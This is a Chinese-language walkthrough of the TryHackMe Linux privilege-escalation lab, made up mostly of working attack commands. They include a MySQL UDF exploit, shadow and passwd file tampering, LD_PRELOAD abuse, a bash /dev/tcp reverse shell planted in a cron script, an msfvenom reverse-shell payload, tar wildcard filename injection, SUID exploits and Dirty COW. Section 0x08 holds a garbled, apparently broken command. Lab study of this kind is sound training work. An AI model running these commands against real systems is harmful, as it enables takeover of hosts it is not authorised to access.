linux系统提权
TryHackMe的 |Linux PrivEsc
ssh user@MACHINE_IP
账号密码
user
password321
0x01 服务器漏洞利用
漏洞:
MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一个流行的漏洞利用,利用用户定义的函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。
切换到 /home/user/tools/mysql-udf 目录:
cd /home/user/tools/mysql-udf
使用以下命令编译 raptor_udf2.c 漏洞利用代码:
gcc -g -c raptor_udf2.c -fPIC<br _mstvisible="6"/>gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc<br _mstvisible="6"/>
使用空白密码以 root 用户身份连接到 MySQL 服务:
mysql -u root
在MySQL shell上执行以下命令,以使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:
<span _mstvisible="6">use mysql;</span><br _mstvisible="6"/><span _mstvisible="6">create table foo(line blob);</span><br _mstvisible="6"/><span _mstvisible="6">insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));</span><br _mstvisible="6"/><span _mstvisible="6">select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';</span><br _mstvisible="6"/><span _mstvisible="6">create function do_system returns integer soname 'raptor_udf2.so';</span>
使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
退出 MySQL shell(键入 exit 或 \q 并按 Enter )并使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell:
/tmp/rootbash -p
请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为稍后您将在房间中再次创建此文件!
rm /tmp/rootbash<br _mstvisible="6"/>exit
0x02 弱文件权限 - 可读 /etc/shadow
/etc/shadow 文件包含用户密码哈希,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可读的:
ls -l /etc/shadow
查看 /etc/shadow 文件的内容:
cat /etc/shadow
文件的每一行都代表一个用户。用户的密码哈希(如果有的话)可以在每行的第一个和第二个冒号(:)之间找到。
将 root 用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用john the ripper1破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz,然后根据 Kali 的版本使用 sudo 运行命令:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
切换到 root 用户,使用破解的密码:
su root
0x03 弱文件权限 - 可写 /etc/shadow
/etc/shadow 文件包含用户密码哈希,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可写的:
ls -l /etc/shadow
使用您选择的密码生成新的密码哈希:
mkpasswd -m sha-512 newpasswordhere
(密码是newpasswordhere)
编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。
切换到 root 用户,使用新密码:
su root
请记住在继续之前退出 root shell!
0x04 弱文件权限 - 可写 /etc/passwd
/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希,某些版本的 Linux 仍然允许将密码哈希存储在那里。
请注意,/etc/passwd 文件是全局可写的:
ls -l /etc/passwd
使用您选择的密码生成新的密码哈希:
openssl passwd newpasswordhere
(密码是newpasswordhere)
编辑 /etc/passwd 文件,并将生成的密码哈希放在 root 用户行的第一个和第二个冒号 (😃 之间(替换“x”)。
切换到 root 用户,使用新密码:
su root
或者,复制 root 用户的行并将其追加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。
现在切换到 newroot 用户,使用新密码:
su newroot
请记住在继续之前退出 root shell!
(exit)
0x05 Sudo - Shell 转义序列
列出 sudo 允许用户运行的程序:
sudo -l
访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常是通过转义序列。
从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。
对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!
请记住在继续之前退出 root shell!
0x06 sudo - 环境变量
Sudo 可以配置为从用户环境中继承某些环境变量。
检查继承了哪些环境变量(查找env_keep选项):
sudo -l
LD_PRELOAD 和 LD_LIBRARY_PATH 都是从用户环境继承的。LD_PRELOAD程序运行时,在加载任何其他对象之前加载共享对象。LD_LIBRARY_PATH提供了首先搜索共享库的目录列表。
使用位于 /home/user/tools/sudo/preload.c 的代码创建共享对象:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
运行允许您通过 sudo 运行的程序之一(在运行 sudo -l 时列出),同时将 LD_PRELOAD 环境变量设置为新共享对象的完整路径:
sudo LD_PRELOAD=/tmp/preload.so program-name-here
应该生成一个 root shell。在继续之前退出 shell。根据您选择的程序,您可能还需要退出此程序。
(失败了,原因不明)
对 apache2 程序文件运行 ldd 以查看程序使用了哪些共享库:
ldd /usr/sbin/apache2
使用位于 /home/user/tools/sudo/library_path.c 的代码创建与列出的库之一 (libcrypt.so.1) 同名的共享对象:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
使用 sudo 运行 apache2,同时将 LD_LIBRARY_PATH 环境变量设置为 /tmp(我们在其中输出编译的共享对象):
sudo LD_LIBRARY_PATH=/tmp apache2
应该生成一个 root shell。退出 shell。尝试将 /tmp/libcrypt.so.1 重命名为 apache2 使用的另一个库的名称(ldd语句中),然后再次使用 sudo 重新运行 apache2。它起作用了吗?如果没有,请尝试找出为什么不这样做,以及如何更改 library_path.c 代码以使其正常工作。
请记住在继续之前退出 root shell!
0x07 Cron Jobs - 文件权限
Cron 作业是用户可以安排在特定时间或间隔运行的程序或脚本。cron 表文件 (crontabs) 存储 cron 作业的配置。系统范围的 crontab 位于 /etc/crontab。
查看系统范围的 crontab 的内容:
cat /etc/crontab
应该计划每分钟运行两个 cron 作业。一个运行 overwrite.sh,另一个运行 /usr/local/bin/compress.sh。
找到 overwrite.sh 文件的完整路径:
locate overwrite.sh
请注意,该文件是全局可写的:
ls -l /usr/local/bin/overwrite.sh
将 IP 地址更改为 Kali 框的 IP 地址后,将 overwrite.sh 文件的内容替换为以下内容。
nano /usr/local/bin/overwrite.sh
#!/bin/bash
bash -i >& /dev/tcp/<-靶机IP->/4444 0>&1
在端口 4444 上的 Kali 盒子上设置一个 netcat 侦听器,并等待 cron 作业运行(不应超过一分钟)。root shell 应连接回 netcat 侦听器。如果它没有重新检查文件的权限,是否缺少任何内容?
nc -nvlp 4444
请记住在继续之前退出 root shell 并删除反向 shell 代码!(overwrite.sh的新增内容)
0x08 Cron 作业 - PATH 环境变量
查看系统范围的 crontab 的内容:
cat /etc/crontab
请注意,PATH 变量以 /home/user 开头,这是我们用户的主目录。
在主目录中创建一个名为 overwrite.sh 的文件,其中包含以下内容:
nano /home/user/overwrite.sh
(?是这里搞错了吗)
#!/bin/bash
cp /bin/bash
/tmp/rootbash
chmod +xs /tmp/rootbash
确保文件是可执行的:
chmod +x /home/user/overwrite.sh
等待 cron 作业运行(不应超过一分钟)。运行带有 -p 的 /tmp/rootbash 命令以获得以 root 权限运行的 shell:
/tmp/rootbash -p
(失败,原因不明)
请记住删除修改后的代码,删除 /tmp/rootbash 可执行文件并退出提升的 shell,然后再继续,因为稍后您将在房间中再次创建此文件!
rm /tmp/rootbash
exit
0x09 Cron Jobs - 通配符
查看其他 cron 作业脚本的内容:
cat /usr/local/bin/compress.sh
请注意,tar 命令在主目录中使用通配符 (*) 运行。
查看 go awayBins 页面以获取 tar。请注意,tar 具有命令行选项,允许您将其他命令作为检查点功能的一部分运行。
在 Kali 盒子上使用 msfvenom 生成反向 shell ELF 二进制文件。相应地更新 LHOST IP 地址:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<-靶机IP-> LPORT=4444 -f elf -o shell.elf
将 shell.elf 文件传输到 Debian VM 上的 / home/user/ (您可以使用 scp 或将文件托管在 Kali 盒子上的 Web 服务器上并使用 wget )。确保文件是可执行的:
chmod +x /home/user/shell.elf
在 /home/user 中创建这两个文件:
touch /home/user/--checkpoint=1<br _mstvisible="6"/>touch /home/user/--checkpoint-action=exec=shell.elf
当 cron 作业中的 tar 命令运行时,通配符 (*) 将展开以包含这些文件。由于它们的文件名是有效的 tar 命令行选项,因此 tar 会将它们识别为命令行选项,并将它们视为命令行选项而不是文件名。
在端口 4444 上的 Kali 盒子上设置一个 netcat 侦听器,并等待 cron 作业运行(不应超过一分钟)。root shell 应连接回 netcat 侦听器。
nc -nvlp 4444
请记住退出 root shell 并删除您创建的所有文件,以防止 cron 作业再次执行:
rm /home/user/shell.elf<br _mstvisible="6"/>rm /home/user/--checkpoint=1<br _mstvisible="6"/>rm /home/user/--checkpoint-action=exec=shell.elf
0x10 SUID / SGID 可执行文件 - 已知漏洞
在 Debian VM 上查找所有 SUID/SGID 可执行文件:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
请注意,/usr/sbin/exim-4.84-3 出现在结果中。尝试查找此版本 exim 的已知漏洞。Exploit-DB、Google 和 GitHub 是搜索的好地方!
应该有一个与此版本的 exim 完全匹配的本地权限提升漏洞。可以在 Debian VM 的 /home/user/tools/suid/exim/cve-2016-1531.sh 中找到副本。
运行漏洞利用脚本以获取 root shell:
/home/user/tools/suid/exim/cve-2016-1531.sh
请记住在继续之前退出 root shell!
0x11 SUID / SGID 可执行文件 - 共享对象注入
/usr/local/bin/suid-so SUID 可执行文件容易受到共享对象注入的攻击。
首先,执行该文件并注意当前它在退出之前显示一个进度条:
/usr/local/bin/suid-so
在文件上运行 strace 并在输出中搜索 open/access 调用和“no such file”错误:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
请注意,可执行文件尝试在我们的主目录中加载 /home/user/.config/libcalc.so 共享对象,但找不到它。
为 libcalc.so 文件创建 .config 目录:
mkdir /home/user/.config
示例共享对象代码可在 /home/user/tools/suid/libcalc.c 中找到。它只是生成一个 Bash shell。将代码编译到 suid-so 可执行文件查找的位置的共享对象中:
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
再次执行 suid-so 可执行文件,请注意,这一次,我们得到的不是进度条,而是 root shell。
/usr/local/bin/suid-so
请记住在继续之前退出 root shell!
0x12 SUID / SGID 可执行文件 - 环境变量
/usr/local/bin/suid-env 可执行文件可以被利用,因为它继承了用户的 PATH 环境变量,并尝试在不指定绝对路径的情况下执行程序。
首先,执行该文件并注意它似乎正在尝试启动 apache2 Web 服务器:
/usr/local/bin/suid-env
在文件上运行字符串以查找可打印字符的字符串:
strings /usr/local/bin/suid-env
一行 (“service apache2 start”) 表明正在调用服务可执行文件来启动 Web 服务器,但未使用可执行文件的完整路径 (/usr/sbin/service)。
将位于 /home/user/tools/suid/service.c 的代码编译为名为 service 的可执行文件。此代码只是生成一个 Bash shell:
gcc -o service /home/user/tools/suid/service.c
将当前目录(或新服务可执行文件所在的位置)附加到 PATH 变量,并运行 suid-env 可执行文件以获取 root shell:
PATH=.:$PATH /usr/local/bin/suid-env
请记住在继续之前退出 root shell!
0x13 SUID / SGID 可执行文件 - 滥用 shell 功能 (#1)
/usr/local/bin/suid-env2 可执行文件与 /usr/local/bin/suid-env 相同,只是它使用服务可执行文件 (/usr/sbin/service) 的绝对路径来启动 apache2 Web 服务器。
使用字符串验证这一点:
strings /usr/local/bin/suid-env2<br _mstvisible="6"/>
在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径上的任何实际可执行文件。
验证 Debian VM 上安装的 Bash 版本是否低于 4.2-048:
/bin/bash --version
创建一个名为“/usr/sbin/service”的 Bash 函数,该函数执行新的 Bash shell(使用 -p 保留权限)并导出该函数:
function /usr/sbin/service { /bin/bash -p; }<br _mstvisible="6"/>export -f /usr/sbin/service
运行 suid-env2 可执行文件以获取 root shell:
/usr/local/bin/suid-env2
请记住在继续之前退出 root shell!
0x14 SUID / SGID 可执行文件 - 滥用 shell 功能 (#2)
注意:这不适用于 Bash 4.4 及更高版本。
在调试模式下,Bash 使用环境变量 PS4 来显示调试语句的额外提示。
运行 /usr/local/bin/suid-env2 可执行文件,启用 bash 调试,并将 PS4 变量设置为嵌入式命令,以创建 /bin/bash 的 SUID 版本:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
使用 -p 运行 /tmp/rootbash 可执行文件,以获得以 root 权限运行的 shell:
/tmp/rootbash -p
请记住删除 /tmp/rootbash 可执行文件并退出提升的 shell,然后再继续,因为稍后您将在房间中再次创建此文件!
rm /tmp/rootbash<br _mstvisible="6"/>exit
0x15 密码和密钥 - 历史文件
如果用户不小心在命令行上而不是在密码提示中键入密码,则该密码可能会记录在历史记录文件中。
查看用户主目录中所有隐藏历史记录文件的内容:
cat ~/.*history | less
请注意,用户曾尝试使用“root”用户名和通过命令行提交的密码连接到MySQL服务器。请注意,-p 选项和密码之间没有空格!
切换到 root 用户,使用密码:
su root
请记住在继续之前退出 root shell!
0x16 密码和密钥 - 配置文件
配置文件通常包含纯文本或其他可逆格式的密码。
列出用户主目录的内容:
ls /home/user
请注意 myvpn.ovpn 配置文件的存在。查看文件的内容:
cat /home/user/myvpn.ovpn
该文件应包含对可以找到 root 用户凭证的另一个位置的引用。使用以下凭据切换到 root 用户:
su root
请记住在继续之前退出 root shell!
0x17 密码和密钥 - SSH 密钥
有时,用户会备份重要文件,但无法使用正确的权限保护它们。
在系统根目录中查找隐藏的文件和目录:
ls -la /
请注意,似乎有一个名为 .ssh 的隐藏目录。查看目录的内容:
ls -l /.ssh
请注意,有一个名为 root_key 的全局可读文件。进一步检查此文件应表明它是私有 SSH 密钥。该文件的名称表明它是为 root 用户准备的。
将密钥复制到您的 Kali 框中(只需查看root_key文件的内容并复制/粘贴密钥会更容易)并为其提供正确的权限,否则您的 SSH 客户端将拒绝使用它:
chmod 600 root_key
使用密钥以 root 帐户身份登录 Debian VM(请注意,由于盒子的年龄,使用 SSH 时需要一些额外的设置):
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@MACHINE_IP
请记住在继续之前退出 root shell!
0x18 NFS系统
通过 NFS 创建的文件继承远程用户的 ID。如果用户是 root,并且启用了 root 压缩,则 ID 将改为设置为“nobody”用户。
检查 Debian VM 上的 NFS 共享配置:
cat /etc/exports
请注意,/tmp 共享禁用了根压缩。
在 Kali 框中,如果您尚未以 root 身份运行,请切换到您的 root 用户:
sudo su
使用 Kali 的 root 用户,在 Kali 盒子上创建一个挂载点并挂载 /tmp 共享(相应地更新 IP):
mkdir /tmp/nfs<br _mstvisible="6"/>mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs
仍然使用 Kali 的 root 用户,使用 msfvenom 生成一个有效负载并将其保存到挂载的共享中(此有效负载只是调用 /bin/bash):
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
仍然使用 Kali 的 root 用户,使文件可执行并设置 SUID 权限:
chmod +xs /tmp/nfs/shell.elf
回到 Debian VM 上,以低权限用户帐户的身份执行该文件以获取 root shell:
/tmp/shell.elf
请记住在继续之前退出 root shell!
0x19 内核漏洞利用
内核漏洞可能会使系统处于不稳定状态,这就是为什么您应该只在万不得已的情况下运行它们。
运行 Linux 漏洞利用建议程序 2 工具以识别当前系统上的潜在内核漏洞:
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
应该列出流行的 Linux 内核漏洞“Dirty COW”。Dirty COW 的漏洞利用代码可在 /home/user/tools/kernel-exploits/dirtycow/c0w.c 中找到。它将 SUID 文件 /usr/bin/passwd 替换为生成 shell 的文件(在 /tmp/bak 中备份 /usr/bin/passwd)。
编译代码并运行它(请注意,可能需要几分钟才能完成):
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w<br _mstvisible="6"/>./c0w
漏洞利用完成后,运行 /usr/bin/passwd 以获取 root shell:
/usr/bin/passwd
记得在继续之前恢复原来的 /usr/bin/passwd 文件并退出 root shell!
mv /tmp/bak /usr/bin/passwd<br _mstvisible="6"/>exit
0x20 权限提升脚本
已经编写了几种工具,这些工具有助于在 Linux 上找到潜在的权限升级。其中三个工具已包含在 Debian VM 的以下目录中:/home/user/tools/privesc-scripts